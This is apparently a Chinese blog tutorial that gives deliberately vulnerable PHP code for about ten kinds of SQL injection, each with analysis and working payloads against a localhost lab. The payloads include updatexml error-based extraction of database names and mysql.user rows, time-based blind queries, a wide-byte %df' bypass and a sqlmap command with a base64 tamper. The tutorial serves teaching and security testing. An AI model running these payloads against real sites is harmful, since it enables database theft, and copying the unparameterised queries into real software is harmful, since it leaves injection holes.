PHP之各种SQL注入源码
数据库设置:
union注入源码:
<?php
$con=mysqli_connect("localhost","root","root");
mysqli_select_db($con,'sql');
if (mysqli_connect_errno())
{echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from users where id=$id");
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "<br>";?>
源码分析:没有进行任何过滤,将利用GET方法获取到的参数id的值拼接到SQL语句当中使之执行。
Boolean型注入源码:
<?php
$con=mysqli_connect("localhost","root","root","sql");
if (mysqli_connect_errno()) {echo "连接失败:".mysqli_connect_error();
}
$id=$_GET["id"];
if (preg_match("/union|sleep|benchmark/i", $id)) {exit("nonono");
}
$result=mysqli_query($con,"select * from users where id=$id");
$row=mysqli_fetch_array($result);
if ($row) {exit("yes");
}else{exit("no");
}?>
分析:(preg_match("/union|sleep|benchmark/i", $id) 在$id中所搜索是否存在union|sleep|benchmark且不区分大小写,如果存在就停止程序执行,并抛出nonono。当执行完SQL语句,结果存在,输出yes,,不存在则输出no。不会输出查询结果,只会输出yes或者no表示是否存在查询数据。
报错型注入:
<?php
$con=mysqli_connect('localhost','root','root','sql');
if (mysqli_connect_errno()) {echo "连接失败:".mysqli_connect_errno();
}
$username=$_GET['username'];
$sql="select * from users where username='$username'";
$result=mysqli_query($con,$sql);
if ($result) {echo "OK";
}else{echo mysqli_error($con);}
?>
分析:如果SQL语句执行出错,则会调用mysqli_error()输出报错信息,可以利用这个进行报错注入。
过程:
1,单引号发现报错,并输出了报错详情
2,使用updatexml()函数进行报错
当前用户:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
当前数据库:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
获取所有的库名:http://127.0.0.1/sql_updatexml.php?username=aa'
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+
获取指定库中的表名:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+
查询数据:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select host,user from mysql.user limit 0,1),0x7e),1)--+
时间注入源码:
<?php
$con=mysqli_connect('localhost','root','root');
mysqli_select_db($con,'sql');
if (mysqli_connect_errno()) {echo "连接失败:".mysqli_connect_error();
}
$id=$_GET['id'];
if (preg_match("/union|ordey|coushu/i", $id)) {exit("<hmtl><body>nononono</body></html>");
}
$sql="select * from users where id='$id'";
$result=mysqli_query($con,$sql);
if(!$result){echo "查询出错:".mysqli_error($con);
}
$row=mysqli_fetch_array($result);
if ($row) {exit("<hmtl><body>yes</body></html>");
}else{exit("no");
}?>
根据时间注入获取用户名:http://127.0.0.1/sql_sleep.php?id=1%27%20and%20if(ord(substring(user(),1,1))=114,sleep(15),1)--+
if(ord(substring(user(),1,1))=114,sleep(15),1):判断当前用户的第一个字母的ascii码是否为114,如果是则执行sleep(15),页面延迟15秒
if(length (database())>1,sleep(5),1):如果数据库库名的长度大于1,则MySQL查询休眠5秒,否则查询1。
当然同时也存在其他类型的注入漏洞
堆叠查询注入源码:
在堆叠注入中,虽然使用了PDO方式进行数据查询,但是仍然采用了将参数ID拼接到SQL语句的方式,这样导致预编译没有起效果,因此仍然存在SQL注入漏洞。
使用PDO执行SQL语句,虽然可以执行多条语句,但是只会返回第一条语句的执行结果。所以只能在第二条语句中用update更新数据或者使用时间盲注获取数据。
<?php
try {$con=new PDO("mysql:host=localhost;dbname=sql","root","root");$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);//$sql="select * from users where id='".$_GET['id']."'";//echo $sql;$result=$con->query("select * from users where id='".$_GET['id']."'");$rowall=$result->setFetchMode(PDO::FETCH_ASSOC);foreach ($result->fetchALL() as $k => $v) {foreach ($v as $key => $value) {echo $value."<br>";}}$dsn=null;
} catch (PDOException $e) {echo "error";
}
$con=null;?>
http://127.0.0.1/sql_sqlpdo.php?id=13';select if(ord(substring(user(),1,1))=114,sleep(3),1);#
上述的SQL语句是:select * from users where id ='1';select if(ord(substring(user(),1,1))=114,sleep(3),1);
;分号将SQL语句分成了两条,第一条select * from users where id ='1';第二条select * from users where id ='1';PDO只会显示第一条的运行结果,因为第二条只能构造时间盲注的语句,通过判断页面响应的速度来返回数据。
二次注入源码:
累了 等不累的时候再更新
第一次注入源码:往数据库内插入数据的时候,单引号进行了转义,无法闭合单引号。
<?php
$con=mysqli_connect('localhost','root','root');
mysqli_select_db($con,'sql');
$username=$_GET['username'];
echo $username."<br \>";
$address=$_GET['address'];
echo $address."<br \>";
if(empty($username)){echo "请输入姓名";
}else{$username=addslashes($username);echo "转义后的姓名参数:" .$username."<br \>";
}
if (empty($address)) {echo "请输入地址";
}else{$address=addslashes($address);echo "转义后的地址参数:" .$address."<br \>";
}
//$sql="insert into users(id,username,address,gender) values(13,'$name','$address','$gender')";
$sql="insert into users(username,address) values('$username','$address')";
echo "$sql";
$result=mysqli_query($con,$sql);
echo "新id为:".mysqli_insert_id($con);?>
运行截图:
代码分析:username参数和addresss参数使用addslashes()函数进行了转义,单引号之前加了反斜杠,导致单引号无法闭合,此时的sql语句是:可以看到有反斜杠
insert into users(username,address) values('123\'','123412\'')新id为:0
但是,重点来了,值得注意的是,当这些数据插入到数据库的时候 ,自动取消掉了反斜杠,但是单引号却保留下来了,这就给二次注入留下了基础。
第二次注入源码:
<?php
$con=mysqli_connect('localhost','root','root');
mysqli_select_db($con,'sql');
if (mysqli_connect_errno()) {echo "连接失败:".mysqli_connect_error();
}
$id=intval($_GET['id']);
$sql="select * from users where id=$id";
echo "SQL语句是:".$sql."<br>";
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result);
$username=$row['username'];
echo "此时读取出来的姓名参数是:".$username."<br>";
$sql2="select * from users where 'username'='$username'";
echo "将姓名拼接到sql的语句是:".$sql2."<br>";
$result2=mysqli_query($con,$sql2);
if ($row2=mysqli_fetch_array($result2)) {echo $row2['username'].":".$row2['address'];
}else{echo mysqli_error($con);
}?>
运行结果:
代码分析:将之前插入数据库内的带有单引号的姓名shy',拼接到查询sql语句当中,产生报错注入。因此二次注入需要不断的往数据库内插入payload,然后不断的读取运行。哈哈哈。
intval()函数将参数id转换成整形,防止SQL注入。
宽字节注入源码
<?php
//header("Content-Type: text/html; charset=gb2312");
$id=isset($_GET['id'])?addslashes($_GET['id']):11;//使用addslashes()对参数$id进行了过滤
$con=mysqli_connect('localhost','root','root');
mysqli_select_db($con,'sql');
$sql="select * from users where id='$id'";
echo "sql语句是:".$sql.'<br />';
$result=mysqli_query($con,$sql);
if (!$result) {echo "查询失败";
}
while ($row=mysqli_fetch_row($result)) {echo "id 是".$row[0].'<br>';echo "名字是".$row[1].'<br>';
}
mysqli_close($con);?>
可以看到在第二行addslashes($_GET['id']),使用了addslashes()函数对传入的参数$id的值进行了过滤。
addslashes()函数的用法
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
测试
1,正常:http://127.0.0.1/sqlunion.php?id=11
2,过滤反斜杠(\):http://127.0.0.1/sqlunion.php?id=11\
3,过滤双引号("):http://127.0.0.1/sqlunion.php?id=11"
无法进行测试:可以看到由于引入了反斜杠(\),无法让sql语句报错。
设置数据库为gbk编码
直接修改数据库编码不成功的可以在代码中加上这一句:
访问:127.0.0.1/sqlunion.php?id=5%df'
5%df'在传入后变成了5%df\' 而\的url编码是%5c 所以最后变成了 5%df%5c‘ 变成了 5運
而多了的一个单引号导致了报错。
又可以愉快的测试了:
cookie注入源码:
cookie注入的产生主要是因为代码中使用了$_COOKIE['id'],从浏览器cookie中获取数据,然后拼接到SQL语句中带入进行查询。
<?php
include 'conn.php';
$id=$_COOKIE['id'];
$value="1";
setcookie("id",$value);
$sql="select * from users where id=$id";
$result=mysqli_query($conn,$sql);
if (!$result) {echo "error:".mysqli_error($conn);
}
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "<br>";?>
运行效果:
更改cookie中id的值,查询结果也发生了变化
加上单引号产生报错:
代码分析:其实和union注入没有什么区别,只不过一个是从get方式得到参数,一个是从cookie中获得参数。
抓包从指定cookie中存在注入的字段,就可以用SQLmap进行跑数据局了。
base64注入源码
其实本质上和最简单的union注入一样,只不过它在获取到参数ID的值之后,进行了一步base6解码操作,因此我们只需要在注入之前先将payload进行base64加密操作。
<?php
include 'conn.php';
$id=base64_decode($_GET['id']);
$sql="select * from users where id=$id";
echo "$sql";
echo "<br>";
$result=mysqli_query($conn,$sql);
if (!$result) {echo "查询失败:".mysqli_error($conn);
}
$row=mysqli_fetch_array($result);
print_r($row);echo $row['id'].":".$row['username']."<br>";?>
运行结果:
http://127.0.0.1/sql_base64.php?id=1
base64编码之后:MQ==是1的base64编码
http://127.0.0.1/sql_base64.php?id=MQ==
SQLmap中使用base64encode.py的tamper进行base64注入:
py -2 sqlmap.py -u "http://127.0.0.1/sql_base64.php?id=1*" -p id --tamper base64encode.py --batch
X-Forwarded-For注入源码:
X-Forwarded-For是http请求头中的字段,用来记录客户端的IP地址,如果网站对该字段的值进行了数据库操作的话就会产生SQL注入漏洞。
<?php
include 'conn.php';
if (getenv('HTTP_CLIENT_IP')) {$ip=getenv('HTTP_CLIENT_IP');
}elseif (getenv('HTTP_X_FORWARDED_FOR')) {$ip=getenv('HTTP_X_FORWARDED_FOR');
}elseif (getenv('REMOTE_ADDR')) {$ip=getenv('REMOTE_ADDR');
}else{$ip=$HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$sql="select * from users where ip=$ip";
echo "数据库语句是:".$sql;
echo "<br>";
$result=mysqli_query($conn,$sql);
if (!$result) {echo "error:.".mysqli_error($conn);exit();
}
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "<br>";?>
运行效果:
X-Forwarded-For字段的值是我们可控的,并且拼接到了SQL语句当中,产生了SQL注入漏洞。
断断续续的写了快一周,终于写完了。
PHP之各种SQL注入源码相关推荐
- mysqli与pdo防sql注入源码
1.mysqli防注入 <?php//定义配置文件$config = [//地址"host" => "127.0.0.1",//数据库名称" ...
- spring aop 注入源码解析
spring aop 注入源码解析 aop启动 AbstractApplicationContext.java @Overridepublic void refresh() throws BeansE ...
- spring aop 注入源码解析 1
spring aop 注入源码解析 aop启动 AbstractApplicationContext.java @Overridepublic void refresh() throws BeansE ...
- 改进型脉振高频注入源码 stm32工程 脉振高频注入是一种通过在d轴注入正弦电压
改进型脉振高频注入源码 stm32工程 脉振高频注入是一种通过在d轴注入正弦电压,通过电机的凸极效应(饱和凸极效应)估算同步电机转子位置的方法. 不需要电机旋转即可获得电机转子位置,能够实现0速带载. ...
- java条码查商品信息_条形码商品管理信息系统SQL JAVA源码大小11M
条形码商品管理信息系统SQL JAVA源码大小11M 源码下载地址: (精品源码有详细软件界面截图) 本站提供几百套大型商业源码,平均一元一套,火爆下载中...... QQ:283072.283672 ...
- RedBase SQL解析源码分析
@原创文章,转载请注明: 转载自 镜中影的技术博客 本文链接地址: RedBase SQL解析源码分析) URL:http://blog.csdn.net/linkpark1904/article/d ...
- OpenGauss SQL解析源码分析
OpenGauss SQL解析源码分析 SQL 引擎简介: SQL引擎整个编译的过程如下图所示,在编译的过程中需要对输入的SQL语言进行词法分析.语法分析.语义分析,从而生成逻辑执行计划,逻辑执行计划 ...
- 输入法注入源码_将注入进行到底:利用Mono注入C#游戏脚本
本文作者01dTan9,首发于三叶草小组博客:http://blog.sycsec.com/ 致力于引领每一位对windows安全感兴趣的萌新,希望让萌新能够对Windows有初步的了解.笔者的文 ...
- hive窗口函数_Hive sql窗口函数源码分析
在了解了窗口函数实现原理 spark.hive中窗口函数实现原理复盘 和 sparksql比hivesql优化的点(窗口函数)之后,今天又撸了一遍hive sql 中窗口函数的源码实现,写个笔记记录一 ...
最新文章
- JavaScript中变量的相互引用
- 蚊子已经很可怕了,而这些吸血昆虫能让你感受真正的恐惧
- python实现二分查找算法_python实现二分查找算法
- fastxml 大于符号不转换_你可能不知道的MATLAB入门技巧#第二话
- 某释放驱动的样本分析及手杀报告
- 【kerberos】kerberos 认证 详情介绍
- metaspolit教程
- 线程控制之线程和信号
- VUE ---- 自定义指令的理解和应用
- iOS面试--最新快手iOS面试题
- Linux 用户账号安全管理,文件系统和日志
- int类型整数的表示范围
- Linux操作系统调优工具
- MATLAB绘制雷达图并导出矢量图到Visio编辑(论文用图)
- ubuntu conda环境安装包安装
- linux 下安装apache 快速教程
- 数据库系统概论--读书笔记--8 关系运算: 选择 投影 连接 除运算
- 皇室战争android换到苹果嘛,皇室战争怎么切换账号 苹果端和安卓端切换账号方法介绍...
- acer台式电脑怎么重装系统_acer电脑U盘重装操作系统图文教程
- 【2014年12月7日】【每日一问】HIDS和NIDS有什么区别?
热门文章
- linux 系统内存nand flash,uboot在nandflash存储时内存和NandFlash存储空间
- 隐藏实用的GitHub使用技巧
- The server time zone value ‘й‘ is unrecognized or represents more than one time zone
- linux socket错误提示errno分析
- 串口,使用交叉还是直连串口线
- 威步百科 | Blurry Box
- vue下利用canvas实现在线图片标注
- macbook视频格式转换_告别格式工厂的视频格式转换方法(mac版 命令行)
- 一周市场摘抄20210208
- 【Skynet】开始创建服务的代码流程